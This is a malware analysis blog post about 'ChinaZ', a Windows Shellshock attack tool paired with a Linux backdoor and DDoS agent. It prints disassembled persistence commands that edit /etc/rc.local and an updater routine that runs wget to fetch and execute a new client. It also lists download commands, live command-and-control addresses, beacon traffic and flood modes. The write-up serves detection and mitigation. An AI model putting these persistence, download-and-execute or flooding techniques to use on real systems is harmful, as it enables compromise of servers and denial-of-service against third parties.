The background
The bash Shellshock vulnerability (link) is still proven to be one of the fastest way to spread ELF malware infection to NIX boxes in internet, along with Linux systems which are still having the vulnerable version. This fact that is not knowing only by internet security folks, but by the threat actors themself. Since firstly reported in this blog (link), bash shellshock vulnerabilty exploitation is utilized for more sophisticated ELF malware infection scheme, like Linux/Mayhem malware shellshock distribution (link) or Linux/Xor.DDoS infection scheme (link), and some more in our tweet posts. Now some ELF malware actors in PRC/People Respublic of China are starting to build and use a set of tools to make more ELF infection "merrier" via shellshock exploitation, and they called it as "ChinaZ".
The threat was detected (ITW) on January 13th, 2015, was developed somewhere around November, 2014. And this post is describing how it works with describing threat's details for detection and mitigation.
The infection source
A bash shellshock attack was detected with the following one-liner bash command coming via HTTP request to the victim's Linux box with the below data:
Revealing the existence of their used infection source:
Please noted date and the ChinaZ signature used.
The attacker's IP address is shown matched to the web panel IP itself, with the date that is showing the threat attack activity is in the progress. The file 9521 shown in the web panel is an ELF malware, and the file ck.exe is the accompanied tool, a Windows PE application. If you compare details on the time-stamps and the download hit number carefully you will see that the attacker was gaining much download for this payload, which is telling us that the bash commands sent via HTTP request were actually executed by some affected targets.
The IP address is originated from People Republic of China (shorten as PRC) network with the below data:
IP: 121.12.173.173 ASN: 58543 Network: 121.12.168.0/21 ISP: CHINATELECOM-HUNAN-H | SHENZHENSHILUOHUQUHEPINGLUYIFENGGUANGCHANGCZUO32H
How does it work?
In short: The ch.exe (Win32/ChinaZ.Shellshock) which is running on a compromised (or not) Windows host(s), will spread the hard coded (in its binary) a bash shellshock attack script via HTTP requests to the designated Linux box targets (in IP addresses) which was scanned beforehand, using a defined ELF payload (Linux/ChinaZ.DDoS malware) download URL from the same or other compromised (or not) Windows host(s). The infected Linux system will send callback to a remote Windows CNC application then will run as backdoor and DDoS agent to be remotely controlled by the actors. This traces of the binaries, environment and the threat origin proven us that the threat was built and originated from actor(s) in People Republic of China (PRC).
The attacker tool: ck.exe (Win32/ChinaZ.shellsock)
The file ck.exe is responsible for the Shellshock vulnerability scanning qnd attacking process. The binary static analysis using our favorite tool PEStudio (link)is showing many malicious indicators as per shown below, please see it yourself and I am sure you know how suspicious those signs are too:
Since it's a "fresh" threat, VirusTotal is showing a low detection ratio-->[VirusTotal].
Even we detected this in January 13th, 2015, we suspected the threat was in-the-wild way before that (November 2014), the Windows PE binary build information is showing these facts, again PEStudio (link) is very useful to instantly confirming such information:
Additionally you can see the pdb filename showing the "ShellShock" strings which is a a clear hint for all of us that the actors are building this tool for this specific threat accordingly (I mean don't buy it if there anyone will say to you this is a penetration test tool).
The binary is guarded with some anti-debug functions. The correlation of the attack log that came to the victim's infrastructure to this tool can be shown in the ck.exe binary at the below offset snapshot, noted: I use my favorite tool radare2 (link) to reverse this malware to make sure it has no backdoor nor etc malware that can harm me or our team mates beforehand, showing the intention of the actors who doesn't want this tool to be cracked its purpose easily..
How does this shellshock attacker tool operate?
To our advantage and surprise, --help text is available as per snipped below, making me easier to explain this threat to all of you :-)
↑This is showing the command line usage of ck.exe to launch the shellshock attack with using the target list in a text file, number of thread attack to be used, and the payload to be used to attack the listed hosts. These actors built this PE binary to literally attacking us through a simple and easy windows CUI (command user interface)of shellshock HTTP request.
Please noted that "ChinaZ" signature.
The ELF Payload: 9521 (Linux/ChinaZ.DDoS)
The payload is a stripped ELF 32-bit LSB executable file for Intel 80386, which is statically linked, for GNU/Linux kernel 2.6.26. We uploaded the file into VirusTotal here--> [VirusTotal] and currently is having 8/55 detection ratio, which is good for a new threat (thanks to AV industry for the nice follow).
This ELF is "literally" stripped, and you need to trail spaghetti code to jump within offsets during reversing this one through functions and subs with sometimes through jump cushions to follow with, but it is still a readable one. To understand how it works was taking less time than figuring which variant this malware actually is. The obfuscation in (function/subs) names is making harder to identify, but in the end the new characteristics spotted in codes was showing this sample as a new ELF malware variant, and matched string signature is showing us that this ELF was built specifically for this infection purpose, as per below snapshots:
The ELF infection of a compromised host is started by checking the /etc/rc.local and this malware is modifying it for the startup purpose by the below command (a note from from reversing effort):
0x0804B5CC mov dword ptr [esp], offset aEtcRc_local ; "/etc/rc.local"
0x0804B5D3 call sub_804B550 ; //checks the file..(fstat etc..)
0x0804B5D8 mov [esp], ebx
0x0804B685 mov dword ptr [esp+4], offset aSedIESDEtcRc_l ; "sed -i -e '/%s/d' /etc/rc.local"
; decoded strings ==> sed -i -e '/exit/d' /etc/rc.local
(...)
0x0804B6A5 mov dword ptr [esp+4], offset aSedIE2ISSEtcRc ; "sed -i -e '2 i%s/%s' /etc/rc.local"
; decoded strings ==> sed -i -e '2 i//ChinaZ' /etc/rc.local
(...)
0x0804B6BE mov dword ptr [esp], offset aEtcRc_local ; "/etc/rc.local"
As per seen above, this malware is depending to "sh" and utilizing "sed" command to install itself. There is no limited Linux box that doesn't have sh and most of UNIX box is having sed command, is a well selected ways to perform installation of (evil) ELF.Noted: that "ChinaZ" stamp.
This ELF malware is utilizing libresolv and libnss libraries for internet resolve scheme, and the nature of compilation will need the ld and libc as runtime modules (well..obviously..). So in an infected machine you will see the running trace like below, a set of commands like ss, lsof, netstat, sockstat (FreeBSD), tshark and tcpdump will be your best friend to check for infection (for the rooted hosts I always bring my own binaries of these tools..)
COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME MALWARE 32063 USER cwd DIR8,1 4096 2 / MALWARE 32063 USER rtd DIR8,1 4096 2 / MALWARE 32063 USER txt REG8,6 618948 1048584 /home/USER/test/MALWARE MALWARE 32063 USER mem REG8,1 71488 260636 /lib/i386-linux-gnu/libresolv-2.13.so MALWARE 32063 USER mem REG8,1 22088 260630 /lib/i386-linux-gnu/libnss_dns-2.13.so MALWARE 32063 USER mem REG8,1 117960 260619 /lib/i386-linux-gnu/ld-2.13.so MALWARE 32063 USER mem REG8,1 1364104 260622 /lib/i386-linux-gnu/libc-2.13.so MALWARE 32063 USER mem REG8,1 42628 260631 /lib/i386-linux-gnu/libnss_files-2.13.so MALWARE 32063 USER 0u CHR1,3 0t0 1192 /dev/null MALWARE 32063 USER 1u CHR1,3 0t0 1192 /dev/null MALWARE 32063 USER 2u CHR1,3 0t0 1192 /dev/null MALWARE 32063 USER 3u IPv4 67174236 0t0TCP INFECTED.HOST:36555->121.12.173.173:9521 (ESTABLISHED) MALWARE 32063 32072 USER cwd DIR8,1 4096 2 / MALWARE 32063 32072 USER rtd DIR8,1 4096 2 / MALWARE 32063 32072 USER txt REG8,6 618948 1048584 /home/USER/test/MALWARE MALWARE 32063 32072 USER mem REG8,1 71488 260636 /lib/i386-linux-gnu/libresolv-2.13.so MALWARE 32063 32072 USER mem REG8,1 22088 260630 /lib/i386-linux-gnu/libnss_dns-2.13.so MALWARE 32063 32072 USER mem REG8,1 117960 260619 /lib/i386-linux-gnu/ld-2.13.so MALWARE 32063 32072 USER mem REG8,1 1364104 260622 /lib/i386-linux-gnu/libc-2.13.so MALWARE 32063 32072 USER mem REG8,1 42628 260631 /lib/i386-linux-gnu/libnss_files-2.13.so (...)↑ELF ChinaZ will spawn its processes into six or seven forks after initial infection, within each process it sends beacon to the CNC to be received in its CNC management tool, which is most likely in windows platform.
In the recent version the ChinaZ DDoS'er is spawning the original process into different PID, to then performing the connection to the CNC. As per seen in the snapshot we took below. For stopping the process infection of this malware, one should know the PID of the first two processes created, in the example below is: 6719 and 6720.
"The initiate execution of CHinaZ" MALWARE 6719 USER cwd DIR 8,1 4096 260761 /tmp MALWARE 6719 USER rtd DIR 8,1 4096 2 / MALWARE 6719 USER txt REG 8,6 1536701 1048584 /USER/DIR/MALWARE (SPAWN NEW PROCESS) "The spawned process ChinaZ, established initial CNC connections" MALWARE 6720 USER cwd DIR 8,1 4096 260761 /tmp MALWARE 6720 USER rtd DIR 8,1 4096 2 / MALWARE 6720 USER txt REG 8,6 1536701 1048584 /USER/DIR/MALWARE MALWARE 6720 USER 0u IPv4 79282268 0t0 TCP INFECTED-BOX:46897->xxx:29132 (ESTABLISHED) MALWARE 6720 USER 1u IPv4 79282271 0t0 TCP INFECTED-BOX:46898->xxx:29132 (ESTABLISHED) (CLONE/CHILD PROCESS IS EXECUTED HERE) "The forked process of ChinaZ with establishing further CNC beacon operations" MALWARE 6720 6721 USER cwd DIR 8,1 4096 260761 /tmp MALWARE 6720 6721 USER rtd DIR 8,1 4096 2 / MALWARE 6720 6721 USER txt REG 8,6 1536701 1048584 /USER/DIR/MALWARE MALWARE 6720 6721 USER 0u IPv4 79282268 0t0 TCP INFECTED-BOX:46897->xxx:29132 (ESTABLISHED) MALWARE 6720 6721 USER 1u IPv4 79282271 0t0 TCP INFECTED-BOX:46898->xxx:29132 (ESTABLISHED) MALWARE 6720 6722 USER cwd DIR 8,1 4096 260761 /tmp MALWARE 6720 6722 USER rtd DIR 8,1 4096 2 / MALWARE 6720 6722 USER txt REG 8,6 1536701 1048584 /USER/DIR/MALWARE MALWARE 6720 6722 USER 0u IPv4 79282268 0t0 TCP INFECTED-BOX:46897->xxxx:29132 (ESTABLISHED) MALWARE 6720 6722 USER 1u IPv4 79282271 0t0 TCP INFECTED-BOX:46898->xxxx:29132 (ESTABLISHED) MALWARE 6720 6723 USER cwd DIR 8,1 4096 260761 /tmp MALWARE 6720 6723 USER rtd DIR 8,1 4096 2 / MALWARE 6720 6723 USER txt REG 8,6 1536701 1048584 /USER/DIR/MALWARE MALWARE 6720 6723 USER 0u IPv4 79282268 0t0 TCP INFECTED-BOX:46897->xxxx:29132 (ESTABLISHED) MALWARE 6720 6723 USER 1u IPv4 79282271 0t0 TCP INFECTED-BOX:46898->xxxx:29132 (ESTABLISHED)↑Additionally see also the double "established" connection above, which is unique "feature".
The backdoor sent looks as per below, in this particular case it sends the callback to a hostname aa.gm352.com (121.12.173.173 port 9521) at ASN 58543 | 121.12.168.0/21 | CHINATELECOM-HUNAN-H, PoC:
SYSCALL5A, send(3, "cM\1\0\0\1\0\0\0\0\0\0\2aa\5gm352\3com\0\0\1\0\1", 30, MSG_NOSIGNAL)
SYSCALL5B, recvfrom(3, "cM\201\200\0\1\0\1\0\5\0\5\2aa\5gm352\3com\0\0\1\0\1\300\f"..., 1024, 0,
$PARAMS:{sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("x.x.x.x")}, [16])
SYSCALL5C, connect(3, {sa_family=AF_INET, sin_port=htons(9521), sin_addr=inet_addr("121.12.173.173")}, 16)
SYSCALL5D, write(3, "\0\0\0\0LinuxX.X.X-X-686\0\275w\267\0\1\0\0"..., 168) = 168
// traffic:
Offset Hex ASCII (redacted)
00000000 00 00 00 00 4c 69 6e 75 78 33 2e 32 2e 30 2d 34 ....Linu xX.X.X-X
00000010 2d 36 38 36 2d 70 61 65 00 1d 7a b7 00 01 00 00 -686.... ..z.....
00000020 48 31 d6 09 48 31 d6 09 00 00 00 00 64 1c 7a b7 H1..H1.. ....d.z.
00000030 00 00 00 00 a0 2e d6 09 90 71 e4 b6 da a4 d0 b6 ........ .q......
00000040 ff ff ff ff 31 20 2a 20 32 35 33 31 4d 48 7a 00 ....1 * 2531MHz.
00000050 40 1c 7a b7 40 8c 0a 08 58 30 d6 09 d0 32 d6 09 @.z.@... X0...2..
00000060 01 00 00 00 31 30 30 32 20 4d 42 00 80 80 e4 b6 ....1002 MB.....
00000070 98 23 d6 09 ff ff ff ff 38 98 d0 b6 da a4 d0 b6 .#...... 8.......
00000080 05 00 00 00 56 49 50 00 40 8c 0a 08 58 30 d6 09 ....VIP. @...X0..
00000090 00 33 d6 09 01 00 00 00 05 00 00 00 00 00 00 00 .3...... ........
000000A0 88 a1 d0 b6 6e 20 01 00 ....n ..
Threat Source of this sample
By the time the threat was detected & announced (yesterday) the CNC was up and alive, PoC:
aa.gm352.com. 300 IN A 121.12.173.173 gm352.com. 3600 IN NS ns4.he.net. gm352.com. 3600 IN NS ns3.he.net. gm352.com. 3600 IN NS ns2.he.net. gm352.com. 3600 IN NS ns1.he.net. gm352.com. 3600 IN NS ns5.he.net. $ mycnccheck 121.12.173.173:9521 Connection to 121.12.173.173 9521 port [tcp/*] succeeded! IPv4 TCP MMD.KickUR.ASS:36555->121.12.173.173:9521 (ESTABLISHED)Yes we have the same IP used to attack, and the same IP that provided the ELF download, being used as CNC too.
CNC callback traffic
The traffic capture PCAP data generated of the first version of CHinaZ during the infection session is showing a slight differences to the other similar known ELF backdoor/DDoS malware types, as per shown below:
↑this is clearly showing us that we have a new family for the PRC/China ELF malware.
Below is the ELF x64 version sample of ChinaZ's traffic in PCAP, the initiation moment:
In the recent ELF x32 analyzed sample the form for the callback (textual) stream can be viewed as follows, which was sending the uname result and information of the running malware:
UPDATE: The Modular version of ChinaZ
It was spotted by our team (credit: benkow & MMD ELF Team members) a unique modular version of ChinaZ, a pair of DDoS Client in x32 and x64 modules ; and also the Starter/Updater modules in x32 and x64, in a form of dynamic shared library linked ELF. Unlike to its variant that was compiled in static environment, this version is having smaller size (..obviously..). Maybe the purpose for modular separation is for either (1) AV signature mitigation or (2) Further building purpose. These ELFs are running with dependencies to GLIBC 2.x (2.0 and 2.1.3) and seeking for below libraries:
ld-linux.so.2, libstdc++.so.6, libm.so.6, libgcc_s.so.1, libc.so.6and both are sharing the same unix file socket in the below description:
TYPE: unix 0xf586f080 0t0 72473214 socket FILE: /tmp/.DDosClientUpdater.sockWe suspect it's a pre-distribution version of ChinaZ, yet some of the infected machines showed the direct download efforts like the spotted below:
wget -O /tmp/32.tar.bz2 http://xxxx:2587/32.tar.bz2 wget -O /tmp/64.tar.bz2 http://xxxx:2587/64.tar.bz2 wget -O /tmp/DDosClient http://xxxx:2587/DDosClient.tar.bz2
We will briefly explain how it works as per below, and then you can see it yourself further in the sample we shared in VirusTotal or KernelMode, all are self-explanatory.
The updater "DDosStarter"
This updater is working with the simple logic, to start as daemon, preparing the socket to be used for the update purpose, backing up the porevous version of the main module DDosClient, updates via wget and restart the process of the main module DDosClient
The reverse engineering trails snipped below is showing how it works in details:
// set as daemon..
0x08048AB1 call "_Z11init_daemonv" ; init_daemon(void)
:
0x08048A3B call _setsid
0x08048A40 call _fork
:
0x08048AB6 mov dword ptr [esp+8], 200h ; n
0x08048ABE mov dword ptr [esp+4], 0 ; c
0x08048AC6 lea eax, [esp+418h]
0x08048ACD mov [esp], eax ; s
0x08048AD0 call _memset
0x08048AD5 mov dword ptr [esp+8], 200h ; n
0x08048ADD mov dword ptr [esp+4], 0 ; c
0x08048AE5 lea eax, [esp+218h]
0x08048AEC mov [esp], eax ; s
// clean the prev socket file..
0x08048AEF call "_memset"
0x08048AF4 mov dword ptr [esp+8], offset aTmp_ddosclient ; "/tmp/.DDosClientUpdater.sock"
0x08048AFC mov dword ptr [esp+4], offset format ; "rm -rf %s"
0x08048B04 lea eax, [esp+418h]
// preparing a new socket...
0x08048B0B mov [esp], eax
0x08048B0E call _sprintf
0x08048B13 lea eax, [esp+418h]
0x08048B1A mov [esp], eax
0x08048B1D call _system
// socket : prot, type, domain..
0x08048B22 mov dword ptr [esp+8], 0
0x08048B2A mov dword ptr [esp+4], 1
0x08048B32 mov dword ptr [esp], 1
0x08048B39 call _socket
0x08048B3E mov [esp+6F8h], eax // set n,c,s
0x08048B45 mov dword ptr [esp+8], 6Eh
0x08048B4D mov dword ptr [esp+4], 0
0x08048B55 lea eax, [esp+686h]
0x08048B5C mov [esp], ea
0x08048B5F call _memset
0x08048B64 mov word ptr [esp+686h], 1 // file op..
0x08048B6E mov dword ptr [esp+8], 1Dh ; n
0x08048B76 mov dword ptr [esp+4], offset aTmp_ddosclient ; "/tmp/.DDosClientUpdater.sock"
0x08048B7E lea eax, [esp+686h]
0x08048B85 add eax, 2
0x08048B88 mov [esp], eax ; target
0x08048B8B call _memcpy
0x08048B90 lea eax, [esp+686h]
0x08048B97 mov dword ptr [esp+8], 6Eh; length
0x08048B9F mov [esp+4], eax ; address
0x08048BA3 mov eax, [esp+6F8h]
0x08048BAA mov [esp], eax ; file desc
// start the socket bindings..
0x08048BAD call _bind
0x08048BB2 mov dword ptr [esp+4], 5 ; n
0x08048BBA mov eax, [esp+6F8h]
0x08048BC1 mov [esp], eax ; bound to..
0x08048BC4 call _listen ; ..socket.
// stopping all previous DDosClient, chmod 755 new one & restarted...
0x08048BC9 mov dword ptr [esp], offset command ; "killall DDosClient"
0x08048BD0 call _system
0x08048BD5 mov dword ptr [esp], offset aChmodX_Ddoscli ; "chmod +x ./DDosClient"
0x08048BDC call _system
0x08048BE1 mov dword ptr [esp], offset a_Ddosclient ; "./DDosClient"
0x08048BE8 call _system
// connection...
0x08048BED mov dword ptr [esp+6F4h], 6Eh
0x08048BF8 mov dword ptr [esp], offset s ; "Wait Online..."
0x08048BFF call _puts
0x08048C04 lea eax, [esp+618h]
0x08048C0B lea edx, [esp+6F4h]
0x08048C12 mov [esp+8], edx ; addr_len
0x08048C16 mov [esp+4], eax ; addr
0x08048C1A mov eax, [esp+6F8h]
0x08048C21 mov [esp], eax ; fd
0x08048C24 call _accept
:
// When connected backup the DDosClient,
// remove old ones & downloads+chmod 755 new one
0x08048CBD mov dword ptr [esp+8], 200h
0x08048CC5 mov dword ptr [esp+4], 0 ; c
0x08048CCD lea eax, [esp+218h]
0x08048CD4 mov [esp], eax ; s
0x08048CD7 call _memset
0x08048CDC mov dword ptr [esp], offset aCpF_Ddosclient ; "cp -f ./DDosClient ./DDosClient.back"
0x08048CE3 call _system
0x08048CE8 mov dword ptr [esp], offset aRmRf_Ddosclient ; "rm -rf ./DDosClient"
0x08048CEF call _system
0x08048CF4 lea eax, [esp+18h]
0x08048CF8 mov [esp+8], eax
0x08048CFC mov dword ptr [esp+4], offset aWgetS ; "wget %s"
0x08048D04 lea eax, [esp+218h]
0x08048D0B mov [esp], eax ; value..is here (s)
0x08048D0E call _sprintf
0x08048D13 lea eax, [esp+218h]
0x08048D1A mov [esp], eax
0x08048D1D call _system
0x08048D22 test eax, eax
:
0x08048D37 mov dword ptr [esp], offset aChmodX_Ddoscli ; "chmod +x ./DDosClient"
0x08048D3E call _system
// rollback upon failures...
0x08048D2B mov dword ptr [esp], offset aMvDdosclient_b ; "mv DDosClient.back DDosClient"
0x08048D32 call _system
The DDosClient, the main module is a ChinaZ in dynamic ELF (below are some of known typical functions):
"Stopping a Flood" 0x0804EA14 mov dword ptr [esp], offset aCommand_ddos_s 0x0804EA14 ; "COMMAND_DDOS_STOP " <==== 0x0804EA1B call _puts 0x0804EA20 mov g_bStopAtk, 1 0x0804EA2A mov dword ptr [esp], 1 ; seconds 0x0804EA31 call _sleep 0x0804EA36 mov CalculatorStop, 1 "Updating/Refreshing Flood Task" 0x0804EA50 mov dword ptr [esp], offset aCommand_update 0x0804EA50 ; "COMMAND_UPDATE " <======= 0x0804EA57 call _puts 0x0804EA5C mov g_bStopAtk, 0 0x0804EA66 mov dword ptr [esp+8], 7 ; n 0x0804EA6E mov dword ptr [esp+4], offset aUpdate ; "Update" 0x0804EA76 mov dword ptr [esp], offset WorkStatus ; dest 0x0804EA7D call _memcpy 0x0804EA82 mov dword ptr [esp+8], 10h ; n 0x0804EA8A mov dword ptr [esp+4], offset aPreparing_____ 0x0804EA8A ; "Preparing......" 0x0804EA92 mov dword ptr [esp], offset SendStatus ; dest 0x0804EA99 call _memcpy 0x0804EA9E mov eax, ds:UpdaterSock 0x0804EAA3 mov dword ptr [esp+0Ch], 0 ; flags 0x0804EAAB mov dword ptr [esp+8], 200h ; n 0x0804EAB3 lea edx, [ebp+s] 0x0804EAB9 add edx, 4 0x0804EABC mov [esp+4], edx ; buf 0x0804EAC0 mov [esp], eax ; fd 0x0804EAC3 call _send "Reading the config (Config.ini)" 0x0804E250 push ebp 0x0804E251 mov ebp, esp 0x0804E253 push ebx 0x0804E254 sub esp, 44h 0x0804E257 mov dword ptr [esp+4], offset modes ; "set mode to read" 0x0804E25F mov dword ptr [esp], offset aConfig_ini ; "Config.ini" 0x0804E266 call _fopen ; open the configs.. :
Attack Vector (thank you for requesting this part)
Below are the ChinaZ DDoS attack capabilities:
1. SYN flood: "Mode(SYN) Target:%s:%d",
2. UDP flood: "MODE(UDP) Target:%s:%d",
3. ICMP flood: "MODE(ICMP) Taregt:%s:%d and
4. DNS Flood: MODE(DNS) Target:%s:%d" (differentiated from DNS amplification attacks)
Is there any Windows OS version for DDosClient?
The answer is yes, we just spotted the windows application of the DDoS agent tool in Windows PE, we called in "Win32/CHinaZ.DDosClient" as per our team tweeted below:
#ChinaZ WinOS (Win32/ChinaZ.DDoSClient) found /thx @benkow_
#reversing rpt https://t.co/1VzouhZT9f
#MalwareMustDie! pic.twitter.com/mjZ684Fabx
— Hendrik Adrian (@unixfreaxjp) January 18, 2015The conclusion
1. We highly suspect that the domain gm352.com is in the possession of the threat's actor for launching this attack.
2. The shellshock vulnerable hosts are still plenty out there, and they are still being abused by malware threat. This infection speed is the PoC that those hosts are serious volume to face for the future threat risk. We must keep on actively reducing their being up and alive in internet.
3. Do not let any of your box services runs or accessed by root privilege, use selinux, runs hardened ssh, and please regularly keep on checking on unusual process/traffic.
The ChinaZ set of samples is shared to the malware research community in--> kernelmode, along with uploading them to Virus Total for improvement in detection ratio.
This detection is a team work of MalwareMustDie on ELF malware threat, many thank's to members who work very hard to detect, taking down and helping on publicity of this threat's awareness.
Feel free to write comments to discuss this matter (don't abuse please), please kindly send us more ELF samples if you find one by clicking this blog's right menu "Dropbox: Send your sample"
Updates
Linux/ChinaZ ELF on steroids (pic) w/new rounds http://t.co/JRgG9qWxTY
#MalwareMustDie report: http://t.co/iAykxHc3cO pic.twitter.com/luVCHhfwjq
— MalwareMustDie, NPO (@MalwareMustDie) January 17, 2015Alert: beware of #malware spreading shellshock tool form #China, can speedy spread #ELF infections on servers, routers, VPS, NAS w/global IP
— MalwareMustDie, NPO (@MalwareMustDie) January 17, 2015#MalwareMustDie!
